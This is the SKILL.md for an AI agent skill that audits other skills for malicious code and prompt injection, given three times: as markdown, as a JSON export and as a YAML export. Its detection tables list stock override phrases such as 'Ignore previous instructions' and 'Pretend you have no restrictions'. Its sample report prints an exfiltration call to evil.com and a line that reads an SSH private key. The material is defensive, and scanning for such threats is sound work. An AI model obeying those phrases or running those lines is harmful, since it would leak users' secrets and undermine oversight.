skill-security-auditor

# Skill Security Auditor

Scan and audit AI agent skills for security risks before installation. Produces a
clear **PASS / WARN / FAIL** verdict with findings and remediation guidance.

## Quick Start

```bash
# Audit a local skill directory
python3 scripts/skill_security_auditor.py /path/to/skill-name/

# Audit a skill from a git repo
python3 scripts/skill_security_auditor.py https://github.com/user/repo --skill skill-name

# Audit with strict mode (any WARN becomes FAIL)
python3 scripts/skill_security_auditor.py /path/to/skill-name/ --strict

# Output JSON report
python3 scripts/skill_security_auditor.py /path/to/skill-name/ --json
```

## What Gets Scanned

### 1. Code Execution Risks (Python/Bash Scripts)

Scans all `.py`, `.sh`, `.bash`, `.js`, `.ts` files for:

| Category | Patterns Detected | Severity |
|----------|-------------------|----------|
| **Command injection** | `os.system()`, `os.popen()`, `subprocess.call(shell=True)`, backtick execution | 🔴 CRITICAL |
| **Code execution** | `eval()`, `exec()`, `compile()`, `__import__()` | 🔴 CRITICAL |
| **Obfuscation** | base64-encoded payloads, `codecs.decode`, hex-encoded strings, `chr()` chains | 🔴 CRITICAL |
| **Network exfiltration** | `requests.post()`, `urllib.request`, `socket.connect()`, `httpx`, `aiohttp` | 🔴 CRITICAL |
| **Credential harvesting** | reads from `~/.ssh`, `~/.aws`, `~/.config`, env var extraction patterns | 🔴 CRITICAL |
| **File system abuse** | writes outside skill dir, `/etc/`, `~/.bashrc`, `~/.profile`, symlink creation | 🟡 HIGH |
| **Privilege escalation** | `sudo`, `chmod 777`, `setuid`, cron manipulation | 🔴 CRITICAL |
| **Unsafe deserialization** | `pickle.loads()`, `yaml.load()` (without SafeLoader), `marshal.loads()` | 🟡 HIGH |
| **Subprocess (safe)** | `subprocess.run()` with list args, no shell | ⚪ INFO |

### 2. Prompt Injection in SKILL.md

Scans SKILL.md and all `.md` reference files for:

| Pattern | Example | Severity |
|---------|---------|----------|
| **System prompt override** | "Ignore previous instructions", "You are now..." | 🔴 CRITICAL | <!-- noqa: SEC-AUDITOR -->
| **Role hijacking** | "Act as root", "Pretend you have no restrictions" | 🔴 CRITICAL | <!-- noqa: SEC-AUDITOR -->
| **Safety bypass** | "Skip safety checks", "Disable content filtering" | 🔴 CRITICAL | <!-- noqa: SEC-AUDITOR -->
| **Hidden instructions** | Zero-width characters, HTML comments with directives | 🟡 HIGH |
| **Excessive permissions** | "Run any command", "Full filesystem access" | 🟡 HIGH |
| **Data extraction** | "Send contents of", "Upload file to", "POST to" | 🔴 CRITICAL | <!-- noqa: SEC-AUDITOR -->

### 3. Dependency Supply Chain

For skills with `requirements.txt`, `package.json`, or inline `pip install`:

| Check | What It Does | Severity |
|-------|-------------|----------|
| **Known vulnerabilities** | Cross-reference with PyPI/npm advisory databases | 🔴 CRITICAL |
| **Typosquatting** | Flag packages similar to popular ones (e.g., `reqeusts`) | 🟡 HIGH |
| **Unpinned versions** | Flag `requests>=2.0` vs `requests==2.31.0` | ⚪ INFO |
| **Install commands in code** | `pip install` or `npm install` inside scripts | 🟡 HIGH |
| **Suspicious packages** | Low download count, recent creation, single maintainer | ⚪ INFO |

### 4. File System & Structure

| Check | What It Does | Severity |
|-------|-------------|----------|
| **Boundary violation** | Scripts referencing paths outside skill directory | 🟡 HIGH |
| **Hidden files** | `.env`, dotfiles that shouldn't be in a skill | 🟡 HIGH |
| **Binary files** | Unexpected executables, `.so`, `.dll`, `.exe` | 🔴 CRITICAL |
| **Large files** | Files >1MB that could hide payloads | ⚪ INFO |
| **Symlinks** | Symbolic links pointing outside skill directory | 🔴 CRITICAL |

## Audit Workflow

1. **Run the scanner** on the skill directory or repo URL
2. **Review the report** — findings grouped by severity
3. **Verdict interpretation:**
   - **✅ PASS** — No critical or high findings. Safe to install.
   - **⚠️ WARN** — High/medium findings detected. Review manually before installing.
   - **❌ FAIL** — Critical findings. Do NOT install without remediation.
4. **Remediation** — each finding includes specific fix guidance

## Reading the Report

```
╔══════════════════════════════════════════════╗
║  SKILL SECURITY AUDIT REPORT                ║
║  Skill: example-skill                        ║
║  Verdict: ❌ FAIL                            ║
╠══════════════════════════════════════════════╣
║  🔴 CRITICAL: 2  🟡 HIGH: 1  ⚪ INFO: 3    ║
╚══════════════════════════════════════════════╝

🔴 CRITICAL [CODE-EXEC] scripts/helper.py:42
   Pattern: eval(user_input)
   Risk: Arbitrary code execution from untrusted input
   Fix: Replace eval() with ast.literal_eval() or explicit parsing

🔴 CRITICAL [NET-EXFIL] scripts/analyzer.py:88
   Pattern: requests.post("https://evil.com/collect", data=results)
   Risk: Data exfiltration to external server
   Fix: Remove outbound network calls or verify destination is trusted

🟡 HIGH [FS-BOUNDARY] scripts/scanner.py:15
   Pattern: open(os.path.expanduser("~/.ssh/id_rsa")) <!-- noqa: SEC-AUDITOR -->
   Risk: Reads SSH private key outside skill scope
   Fix: Remove filesystem access outside skill directory

⚪ INFO [DEPS-UNPIN] requirements.txt:3
   Pattern: requests>=2.0
   Risk: Unpinned dependency may introduce vulnerabilities
   Fix: Pin to specific version: requests==2.31.0
```

## Advanced Usage

### Audit a Skill from Git Before Cloning

```bash
# Clone to temp dir, audit, then clean up
python3 scripts/skill_security_auditor.py https://github.com/user/skill-repo --skill my-skill --cleanup
```

### CI/CD Integration

```yaml
# GitHub Actions step
- name: "audit-skill-security"
  run: |
    python3 scripts/skill_security_auditor.py ./skills/new-skill/ --strict --json > audit.json
    if [ $? -ne 0 ]; then echo "Security audit failed"; exit 1; fi
```

### Batch Audit

```bash
# Audit all skills in a directory
for skill in skills/*/; do
  python3 scripts/skill_security_auditor.py "$skill" --json >> audit-results.jsonl
done
```

## Threat Model Reference

For the complete threat model, detection patterns, and known attack vectors against AI agent skills, see [references/threat-model.md](references/threat-model.md).

## Limitations

- Cannot detect logic bombs or time-delayed payloads with certainty
- Obfuscation detection is pattern-based — a sufficiently creative attacker may bypass it
- Network destination reputation checks require internet access
- Does not execute code — static analysis only (safe but less complete than dynamic analysis)
- Dependency vulnerability checks use local pattern matching, not live CVE databases

When in doubt after an audit, **don't install**. Ask the skill author for clarification.

{
  "format": "aiskill/v1",
  "skill": {
    "name": "skill-security-auditor",
    "slug": "skill-security-auditor",
    "version": "1.0.0",
    "description": "Security audit and vulnerability scanner for AI agent skills before installation. Use when: (1) evaluating a skill from an untrusted source, (2) auditing a skill directory or git repo URL for malicious code, (3) pre-install security gate for Claude Code plugins, OpenClaw skills, or Codex skills, (4) scanning Python scripts for dangerous patterns like os.system, eval, subprocess, network exfiltration, (5) detecting prompt injection in SKILL.md files, (6) checking dependency supply chain risks, (7) verifying file system access stays within skill boundaries. Triggers: \"audit this skill\", \"is this skill safe\", \"scan skill for security\", \"check skill before install\", \"skill security check\", \"skill vulnerability scan\".",
    "category": "Development",
    "tags": [
      "security",
      "git",
      "agents",
      "python"
    ],
    "platforms": [
      "chatgpt",
      "claude-code",
      "cursor"
    ],
    "tested_environment": "Agent Skills convention (SKILL.md) — works with Claude Code, Cursor, ChatGPT/Codex and compatible agents",
    "license": "MIT"
  },
  "prompts": {
    "system": "# Skill Security Auditor\r\n\r\nScan and audit AI agent skills for security risks before installation. Produces a\r\nclear **PASS / WARN / FAIL** verdict with findings and remediation guidance.\r\n\r\n## Quick Start\r\n\r\n```bash\r\n# Audit a local skill directory\r\npython3 scripts/skill_security_auditor.py /path/to/skill-name/\r\n\r\n# Audit a skill from a git repo\r\npython3 scripts/skill_security_auditor.py https://github.com/user/repo --skill skill-name\r\n\r\n# Audit with strict mode (any WARN becomes FAIL)\r\npython3 scripts/skill_security_auditor.py /path/to/skill-name/ --strict\r\n\r\n# Output JSON report\r\npython3 scripts/skill_security_auditor.py /path/to/skill-name/ --json\r\n```\r\n\r\n## What Gets Scanned\r\n\r\n### 1. Code Execution Risks (Python/Bash Scripts)\r\n\r\nScans all `.py`, `.sh`, `.bash`, `.js`, `.ts` files for:\r\n\r\n| Category | Patterns Detected | Severity |\r\n|----------|-------------------|----------|\r\n| **Command injection** | `os.system()`, `os.popen()`, `subprocess.call(shell=True)`, backtick execution | 🔴 CRITICAL |\r\n| **Code execution** | `eval()`, `exec()`, `compile()`, `__import__()` | 🔴 CRITICAL |\r\n| **Obfuscation** | base64-encoded payloads, `codecs.decode`, hex-encoded strings, `chr()` chains | 🔴 CRITICAL |\r\n| **Network exfiltration** | `requests.post()`, `urllib.request`, `socket.connect()`, `httpx`, `aiohttp` | 🔴 CRITICAL |\r\n| **Credential harvesting** | reads from `~/.ssh`, `~/.aws`, `~/.config`, env var extraction patterns | 🔴 CRITICAL |\r\n| **File system abuse** | writes outside skill dir, `/etc/`, `~/.bashrc`, `~/.profile`, symlink creation | 🟡 HIGH |\r\n| **Privilege escalation** | `sudo`, `chmod 777`, `setuid`, cron manipulation | 🔴 CRITICAL |\r\n| **Unsafe deserialization** | `pickle.loads()`, `yaml.load()` (without SafeLoader), `marshal.loads()` | 🟡 HIGH |\r\n| **Subprocess (safe)** | `subprocess.run()` with list args, no shell | ⚪ INFO |\r\n\r\n### 2. Prompt Injection in SKILL.md\r\n\r\nScans SKILL.md and all `.md` reference files for:\r\n\r\n| Pattern | Example | Severity |\r\n|---------|---------|----------|\r\n| **System prompt override** | \"Ignore previous instructions\", \"You are now...\" | 🔴 CRITICAL | <!-- noqa: SEC-AUDITOR -->\r\n| **Role hijacking** | \"Act as root\", \"Pretend you have no restrictions\" | 🔴 CRITICAL | <!-- noqa: SEC-AUDITOR -->\r\n| **Safety bypass** | \"Skip safety checks\", \"Disable content filtering\" | 🔴 CRITICAL | <!-- noqa: SEC-AUDITOR -->\r\n| **Hidden instructions** | Zero-width characters, HTML comments with directives | 🟡 HIGH |\r\n| **Excessive permissions** | \"Run any command\", \"Full filesystem access\" | 🟡 HIGH |\r\n| **Data extraction** | \"Send contents of\", \"Upload file to\", \"POST to\" | 🔴 CRITICAL | <!-- noqa: SEC-AUDITOR -->\r\n\r\n### 3. Dependency Supply Chain\r\n\r\nFor skills with `requirements.txt`, `package.json`, or inline `pip install`:\r\n\r\n| Check | What It Does | Severity |\r\n|-------|-------------|----------|\r\n| **Known vulnerabilities** | Cross-reference with PyPI/npm advisory databases | 🔴 CRITICAL |\r\n| **Typosquatting** | Flag packages similar to popular ones (e.g., `reqeusts`) | 🟡 HIGH |\r\n| **Unpinned versions** | Flag `requests>=2.0` vs `requests==2.31.0` | ⚪ INFO |\r\n| **Install commands in code** | `pip install` or `npm install` inside scripts | 🟡 HIGH |\r\n| **Suspicious packages** | Low download count, recent creation, single maintainer | ⚪ INFO |\r\n\r\n### 4. File System & Structure\r\n\r\n| Check | What It Does | Severity |\r\n|-------|-------------|----------|\r\n| **Boundary violation** | Scripts referencing paths outside skill directory | 🟡 HIGH |\r\n| **Hidden files** | `.env`, dotfiles that shouldn't be in a skill | 🟡 HIGH |\r\n| **Binary files** | Unexpected executables, `.so`, `.dll`, `.exe` | 🔴 CRITICAL |\r\n| **Large files** | Files >1MB that could hide payloads | ⚪ INFO |\r\n| **Symlinks** | Symbolic links pointing outside skill directory | 🔴 CRITICAL |\r\n\r\n## Audit Workflow\r\n\r\n1. **Run the scanner** on the skill directory or repo URL\r\n2. **Review the report** — findings grouped by severity\r\n3. **Verdict interpretation:**\r\n   - **✅ PASS** — No critical or high findings. Safe to install.\r\n   - **⚠️ WARN** — High/medium findings detected. Review manually before installing.\r\n   - **❌ FAIL** — Critical findings. Do NOT install without remediation.\r\n4. **Remediation** — each finding includes specific fix guidance\r\n\r\n## Reading the Report\r\n\r\n```\r\n╔══════════════════════════════════════════════╗\r\n║  SKILL SECURITY AUDIT REPORT                ║\r\n║  Skill: example-skill                        ║\r\n║  Verdict: ❌ FAIL                            ║\r\n╠══════════════════════════════════════════════╣\r\n║  🔴 CRITICAL: 2  🟡 HIGH: 1  ⚪ INFO: 3    ║\r\n╚══════════════════════════════════════════════╝\r\n\r\n🔴 CRITICAL [CODE-EXEC] scripts/helper.py:42\r\n   Pattern: eval(user_input)\r\n   Risk: Arbitrary code execution from untrusted input\r\n   Fix: Replace eval() with ast.literal_eval() or explicit parsing\r\n\r\n🔴 CRITICAL [NET-EXFIL] scripts/analyzer.py:88\r\n   Pattern: requests.post(\"https://evil.com/collect\", data=results)\r\n   Risk: Data exfiltration to external server\r\n   Fix: Remove outbound network calls or verify destination is trusted\r\n\r\n🟡 HIGH [FS-BOUNDARY] scripts/scanner.py:15\r\n   Pattern: open(os.path.expanduser(\"~/.ssh/id_rsa\")) <!-- noqa: SEC-AUDITOR -->\r\n   Risk: Reads SSH private key outside skill scope\r\n   Fix: Remove filesystem access outside skill directory\r\n\r\n⚪ INFO [DEPS-UNPIN] requirements.txt:3\r\n   Pattern: requests>=2.0\r\n   Risk: Unpinned dependency may introduce vulnerabilities\r\n   Fix: Pin to specific version: requests==2.31.0\r\n```\r\n\r\n## Advanced Usage\r\n\r\n### Audit a Skill from Git Before Cloning\r\n\r\n```bash\r\n# Clone to temp dir, audit, then clean up\r\npython3 scripts/skill_security_auditor.py https://github.com/user/skill-repo --skill my-skill --cleanup\r\n```\r\n\r\n### CI/CD Integration\r\n\r\n```yaml\r\n# GitHub Actions step\r\n- name: \"audit-skill-security\"\r\n  run: |\r\n    python3 scripts/skill_security_auditor.py ./skills/new-skill/ --strict --json > audit.json\r\n    if [ $? -ne 0 ]; then echo \"Security audit failed\"; exit 1; fi\r\n```\r\n\r\n### Batch Audit\r\n\r\n```bash\r\n# Audit all skills in a directory\r\nfor skill in skills/*/; do\r\n  python3 scripts/skill_security_auditor.py \"$skill\" --json >> audit-results.jsonl\r\ndone\r\n```\r\n\r\n## Threat Model Reference\r\n\r\nFor the complete threat model, detection patterns, and known attack vectors against AI agent skills, see [references/threat-model.md](references/threat-model.md).\r\n\r\n## Limitations\r\n\r\n- Cannot detect logic bombs or time-delayed payloads with certainty\r\n- Obfuscation detection is pattern-based — a sufficiently creative attacker may bypass it\r\n- Network destination reputation checks require internet access\r\n- Does not execute code — static analysis only (safe but less complete than dynamic analysis)\r\n- Dependency vulnerability checks use local pattern matching, not live CVE databases\r\n\r\nWhen in doubt after an audit, **don't install**. Ask the skill author for clarification.",
    "user_template": ""
  },
  "variables": [],
  "install": {
    "steps": [
      {
        "title": "Download & unzip",
        "detail": "Download the .zip package from SkillVault and unzip it. The skill-security-auditor/ folder contains SKILL.md plus any companion scripts, references and assets."
      },
      {
        "title": "Copy into your agent skills directory",
        "detail": "Move the folder into your agent's skills directory — e.g. ~/.claude/skills/ (Claude Code), .codex/skills/, .cursor/skills/ or your project's .claude/skills/ folder — then restart or reload the session."
      },
      {
        "title": "Use it",
        "detail": "Describe the task in natural language; the agent loads the skill automatically when the request matches the skill description."
      }
    ]
  },
  "usage": {
    "steps": []
  },
  "metadata": {
    "author": "SkillVault",
    "source": "https://skillvault.top/skills/skill-security-auditor",
    "exported_at": "2026-11-03T07:42:27.211Z"
  }
}

format: aiskill/v1
skill:
  name: skill-security-auditor
  slug: skill-security-auditor
  version: 1.0.0
  description: >-
    Security audit and vulnerability scanner for AI agent skills before installation. Use when: (1)
    evaluating a skill from an untrusted source, (2) auditing a skill directory or git repo URL for
    malicious code, (3) pre-install security gate for Claude Code plugins, OpenClaw skills, or Codex
    skills, (4) scanning Python scripts for dangerous patterns like os.system, eval, subprocess,
    network exfiltration, (5) detecting prompt injection in SKILL.md files, (6) checking dependency
    supply chain risks, (7) verifying file system access stays within skill boundaries. Triggers:
    "audit this skill", "is this skill safe", "scan skill for security", "check skill before
    install", "skill security check", "skill vulnerability scan".
  category: Development
  tags:
    - security
    - git
    - agents
    - python
  platforms:
    - chatgpt
    - claude-code
    - cursor
  tested_environment: >-
    Agent Skills convention (SKILL.md) — works with Claude Code, Cursor, ChatGPT/Codex and
    compatible agents
  license: MIT
prompts:
  system: "# Skill Security Auditor\r\n\r\nScan and audit AI agent skills for security risks before installation. Produces a\r\nclear **PASS / WARN / FAIL** verdict with findings and remediation guidance.\r\n\r\n## Quick Start\r\n\r\n```bash\r\n# Audit a local skill directory\r\npython3 scripts/skill_security_auditor.py /path/to/skill-name/\r\n\r\n# Audit a skill from a git repo\r\npython3 scripts/skill_security_auditor.py https://github.com/user/repo --skill skill-name\r\n\r\n# Audit with strict mode (any WARN becomes FAIL)\r\npython3 scripts/skill_security_auditor.py /path/to/skill-name/ --strict\r\n\r\n# Output JSON report\r\npython3 scripts/skill_security_auditor.py /path/to/skill-name/ --json\r\n```\r\n\r\n## What Gets Scanned\r\n\r\n### 1. Code Execution Risks (Python/Bash Scripts)\r\n\r\nScans all `.py`, `.sh`, `.bash`, `.js`, `.ts` files for:\r\n\r\n| Category | Patterns Detected | Severity |\r\n|----------|-------------------|----------|\r\n| **Command injection** | `os.system()`, `os.popen()`, `subprocess.call(shell=True)`, backtick execution | 🔴 CRITICAL |\r\n| **Code execution** | `eval()`, `exec()`, `compile()`, `__import__()` | 🔴 CRITICAL |\r\n| **Obfuscation** | base64-encoded payloads, `codecs.decode`, hex-encoded strings, `chr()` chains | 🔴 CRITICAL |\r\n| **Network exfiltration** | `requests.post()`, `urllib.request`, `socket.connect()`, `httpx`, `aiohttp` | 🔴 CRITICAL |\r\n| **Credential harvesting** | reads from `~/.ssh`, `~/.aws`, `~/.config`, env var extraction patterns | 🔴 CRITICAL |\r\n| **File system abuse** | writes outside skill dir, `/etc/`, `~/.bashrc`, `~/.profile`, symlink creation | 🟡 HIGH |\r\n| **Privilege escalation** | `sudo`, `chmod 777`, `setuid`, cron manipulation | 🔴 CRITICAL |\r\n| **Unsafe deserialization** | `pickle.loads()`, `yaml.load()` (without SafeLoader), `marshal.loads()` | 🟡 HIGH |\r\n| **Subprocess (safe)** | `subprocess.run()` with list args, no shell | ⚪ INFO |\r\n\r\n### 2. Prompt Injection in SKILL.md\r\n\r\nScans SKILL.md and all `.md` reference files for:\r\n\r\n| Pattern | Example | Severity |\r\n|---------|---------|----------|\r\n| **System prompt override** | \"Ignore previous instructions\", \"You are now...\" | 🔴 CRITICAL | <!-- noqa: SEC-AUDITOR -->\r\n| **Role hijacking** | \"Act as root\", \"Pretend you have no restrictions\" | 🔴 CRITICAL | <!-- noqa: SEC-AUDITOR -->\r\n| **Safety bypass** | \"Skip safety checks\", \"Disable content filtering\" | 🔴 CRITICAL | <!-- noqa: SEC-AUDITOR -->\r\n| **Hidden instructions** | Zero-width characters, HTML comments with directives | 🟡 HIGH |\r\n| **Excessive permissions** | \"Run any command\", \"Full filesystem access\" | 🟡 HIGH |\r\n| **Data extraction** | \"Send contents of\", \"Upload file to\", \"POST to\" | 🔴 CRITICAL | <!-- noqa: SEC-AUDITOR -->\r\n\r\n### 3. Dependency Supply Chain\r\n\r\nFor skills with `requirements.txt`, `package.json`, or inline `pip install`:\r\n\r\n| Check | What It Does | Severity |\r\n|-------|-------------|----------|\r\n| **Known vulnerabilities** | Cross-reference with PyPI/npm advisory databases | 🔴 CRITICAL |\r\n| **Typosquatting** | Flag packages similar to popular ones (e.g., `reqeusts`) | 🟡 HIGH |\r\n| **Unpinned versions** | Flag `requests>=2.0` vs `requests==2.31.0` | ⚪ INFO |\r\n| **Install commands in code** | `pip install` or `npm install` inside scripts | 🟡 HIGH |\r\n| **Suspicious packages** | Low download count, recent creation, single maintainer | ⚪ INFO |\r\n\r\n### 4. File System & Structure\r\n\r\n| Check | What It Does | Severity |\r\n|-------|-------------|----------|\r\n| **Boundary violation** | Scripts referencing paths outside skill directory | 🟡 HIGH |\r\n| **Hidden files** | `.env`, dotfiles that shouldn't be in a skill | 🟡 HIGH |\r\n| **Binary files** | Unexpected executables, `.so`, `.dll`, `.exe` | 🔴 CRITICAL |\r\n| **Large files** | Files >1MB that could hide payloads | ⚪ INFO |\r\n| **Symlinks** | Symbolic links pointing outside skill directory | 🔴 CRITICAL |\r\n\r\n## Audit Workflow\r\n\r\n1. **Run the scanner** on the skill directory or repo URL\r\n2. **Review the report** — findings grouped by severity\r\n3. **Verdict interpretation:**\r\n   - **✅ PASS** — No critical or high findings. Safe to install.\r\n   - **⚠️ WARN** — High/medium findings detected. Review manually before installing.\r\n   - **❌ FAIL** — Critical findings. Do NOT install without remediation.\r\n4. **Remediation** — each finding includes specific fix guidance\r\n\r\n## Reading the Report\r\n\r\n```\r\n╔══════════════════════════════════════════════╗\r\n║  SKILL SECURITY AUDIT REPORT                ║\r\n║  Skill: example-skill                        ║\r\n║  Verdict: ❌ FAIL                            ║\r\n╠══════════════════════════════════════════════╣\r\n║  🔴 CRITICAL: 2  🟡 HIGH: 1  ⚪ INFO: 3    ║\r\n╚══════════════════════════════════════════════╝\r\n\r\n🔴 CRITICAL [CODE-EXEC] scripts/helper.py:42\r\n   Pattern: eval(user_input)\r\n   Risk: Arbitrary code execution from untrusted input\r\n   Fix: Replace eval() with ast.literal_eval() or explicit parsing\r\n\r\n🔴 CRITICAL [NET-EXFIL] scripts/analyzer.py:88\r\n   Pattern: requests.post(\"https://evil.com/collect\", data=results)\r\n   Risk: Data exfiltration to external server\r\n   Fix: Remove outbound network calls or verify destination is trusted\r\n\r\n🟡 HIGH [FS-BOUNDARY] scripts/scanner.py:15\r\n   Pattern: open(os.path.expanduser(\"~/.ssh/id_rsa\")) <!-- noqa: SEC-AUDITOR -->\r\n   Risk: Reads SSH private key outside skill scope\r\n   Fix: Remove filesystem access outside skill directory\r\n\r\n⚪ INFO [DEPS-UNPIN] requirements.txt:3\r\n   Pattern: requests>=2.0\r\n   Risk: Unpinned dependency may introduce vulnerabilities\r\n   Fix: Pin to specific version: requests==2.31.0\r\n```\r\n\r\n## Advanced Usage\r\n\r\n### Audit a Skill from Git Before Cloning\r\n\r\n```bash\r\n# Clone to temp dir, audit, then clean up\r\npython3 scripts/skill_security_auditor.py https://github.com/user/skill-repo --skill my-skill --cleanup\r\n```\r\n\r\n### CI/CD Integration\r\n\r\n```yaml\r\n# GitHub Actions step\r\n- name: \"audit-skill-security\"\r\n  run: |\r\n    python3 scripts/skill_security_auditor.py ./skills/new-skill/ --strict --json > audit.json\r\n    if [ $? -ne 0 ]; then echo \"Security audit failed\"; exit 1; fi\r\n```\r\n\r\n### Batch Audit\r\n\r\n```bash\r\n# Audit all skills in a directory\r\nfor skill in skills/*/; do\r\n  python3 scripts/skill_security_auditor.py \"$skill\" --json >> audit-results.jsonl\r\ndone\r\n```\r\n\r\n## Threat Model Reference\r\n\r\nFor the complete threat model, detection patterns, and known attack vectors against AI agent skills, see [references/threat-model.md](references/threat-model.md).\r\n\r\n## Limitations\r\n\r\n- Cannot detect logic bombs or time-delayed payloads with certainty\r\n- Obfuscation detection is pattern-based — a sufficiently creative attacker may bypass it\r\n- Network destination reputation checks require internet access\r\n- Does not execute code — static analysis only (safe but less complete than dynamic analysis)\r\n- Dependency vulnerability checks use local pattern matching, not live CVE databases\r\n\r\nWhen in doubt after an audit, **don't install**. Ask the skill author for clarification."
  user_template: ""
variables: []
install:
  steps:
    - title: Download & unzip
      detail: >-
        Download the .zip package from SkillVault and unzip it. The skill-security-auditor/ folder
        contains SKILL.md plus any companion scripts, references and assets.
    - title: Copy into your agent skills directory
      detail: >-
        Move the folder into your agent's skills directory — e.g. ~/.claude/skills/ (Claude Code),
        .codex/skills/, .cursor/skills/ or your project's .claude/skills/ folder — then restart or
        reload the session.
    - title: Use it
      detail: >-
        Describe the task in natural language; the agent loads the skill automatically when the
        request matches the skill description.
usage:
  steps: []
metadata:
  author: SkillVault
  source: https://skillvault.top/skills/skill-security-auditor
  exported_at: "2026-11-03T07:42:27.211Z"